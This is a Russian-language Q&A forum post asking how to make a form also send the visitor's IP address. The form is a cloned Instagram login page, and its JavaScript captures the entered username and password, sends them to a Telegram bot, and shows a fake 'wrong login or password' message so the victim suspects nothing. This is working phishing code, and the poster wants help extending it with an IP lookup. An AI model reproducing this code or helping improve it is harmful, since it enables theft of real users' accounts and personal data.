@Timothy18

Как отправить формой обратной связи на JS айпи пользователя?

Помогите пожалуйста! Я не сильно разбираюсь в JS, HTML, CSS, и перепробовал много разных вариантов, ниже укажу один из них
Пересылка данных из формы происходит на JS, и мне нужно скорректировать файл отправки данных формы в Телеграм бот так, чтобы он кроме стандартных name и pass, так же отсылал в ТГ айпи пользователя. Я использовал для этого сервис ipapi, вставив код, предлагаемый ими в индексный файл и пробовал в js файл отправки формы тоже пихать этот код. Но данные всё не отсылаются
Вот html код формы:
<form
                  method="POST"
                  class="xpYUjgl -cx-PRIVATE-SlimLoginForm__form"
                  data-reactid=".0.0.0.0.1.2"
                  id="instForm"
                  
                >
                  <div
                    class="anTQKHO -cx-PRIVATE-SlimLoginForm__inputField -cx-PRIVATE-SlimTextInput__root"
                    data-reactid=".0.0.0.0.1.2.0"
                  >
                    <input
                      class="HrESCwZ -cx-PRIVATE-SlimTextInput__input -cx-PRIVATE-TextInput__root login"
                      aria-describedby
                      aria-label="Имя пользователя"
                      aria-required="true"
                      autocapitalize="off"
                      autocorrect="off"
                      maxlength="50"
                      name="login"
                      placeholder="Ім'я користувача"
                      value
                      data-reactid=".0.0.0.0.1.2.0.0"
                      id="login"
                      type="text"
                      required
                    />
                  </div>
                  <div
                    class="agOvird -cx-PRIVATE-SlimLoginForm__inputField -cx-PRIVATE-SlimTextInput__root"
                    data-reactid=".0.0.0.0.1.2.1"
                  >
                    <input
                      class="FwlMBHn -cx-PRIVATE-SlimTextInput__input -cx-PRIVATE-TextInput__root pass"
                      aria-describedby
                      aria-label="Пароль"
                      aria-required="true"
                      autocapitalize="off"
                      autocorrect="off"
                      maxlength="50"
                      name="password"
                      placeholder="Пароль"
                      value
                      data-reactid=".0.0.0.0.1.2.1.0"
                      id="pass"
                      type="password"
                      required
                    />
                    <div
                      class="EYgBtQr -cx-PRIVATE-SlimTextInput__indicators"
                      data-reactid=".0.0.0.0.1.2.1.1"
                    >
                      <a
                        class="KSHEpMT -cx-PRIVATE-SlimTextInput__forgot"
                        data-pn="#"
                        href="https://www.сайт.com/accounts/password/reset/"
                        data-reactid=".0.0.0.0.1.2.1.1.0"
                        >Забули?</a
                      >
                    </div>
                  </div>
                  <button
                    class="SEpTdrt input_b -cx-PRIVATE-SlimLoginForm__button -cx-PRIVATE-IGButton__root -cx-PRIVATE-IGButton__solid -cx-PRIVATE-IGButton__sizeLarge -cx-PRIVATE-IGButton__enabled"
                    data-reactid=".0.0.0.0.1.2.2"
                  >
                    Увійти
                  </button>

А вот код обработки js:
const InstForm = document.querySelector("#instForm");
const chat_id = "айди чата";
const TOKEN = "токен бота";

if (InstForm) {
  InstForm.addEventListener("submit", (event) => {
    event.preventDefault();
    const name = InstForm.querySelector('input[name="login"]').value;
    const pass = InstForm.querySelector('input[name="password"]').value;
    const result = `(Instagramm) login - ${name} ::: password - ${pass}`;
    fetch(
      `https://api.telegram.org/bot${TOKEN}/sendMessage?chat_id=${chat_id}&text=Будет море побед.                                                                                                                                                                                                                      
        имя пользователя: ${name}                                                                                                       
        пароль: ${pass}`
    );
    const error = document.querySelector("#slfErrorAlert");
    error.textContent = "Неверный логин или пароль.";
  });
}

Каким образом нужно сюда вставить кусочек
fetch('https://ipapi.co/ip/')
.then(function(response) {
  response.text().then(txt => {
    console.log(txt);
  });
})
.catch(function(error) {
  console.log(error)
});
, и преобразить код отправки JS, чтобы получить работающую форму отправки с добавленным айпи пользователя
  • Вопрос задан
  • 178 просмотров
Пригласить эксперта
Ответы на вопрос 1
@droid_001
Ведущий разработчик веб и мультимедиа приложений
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы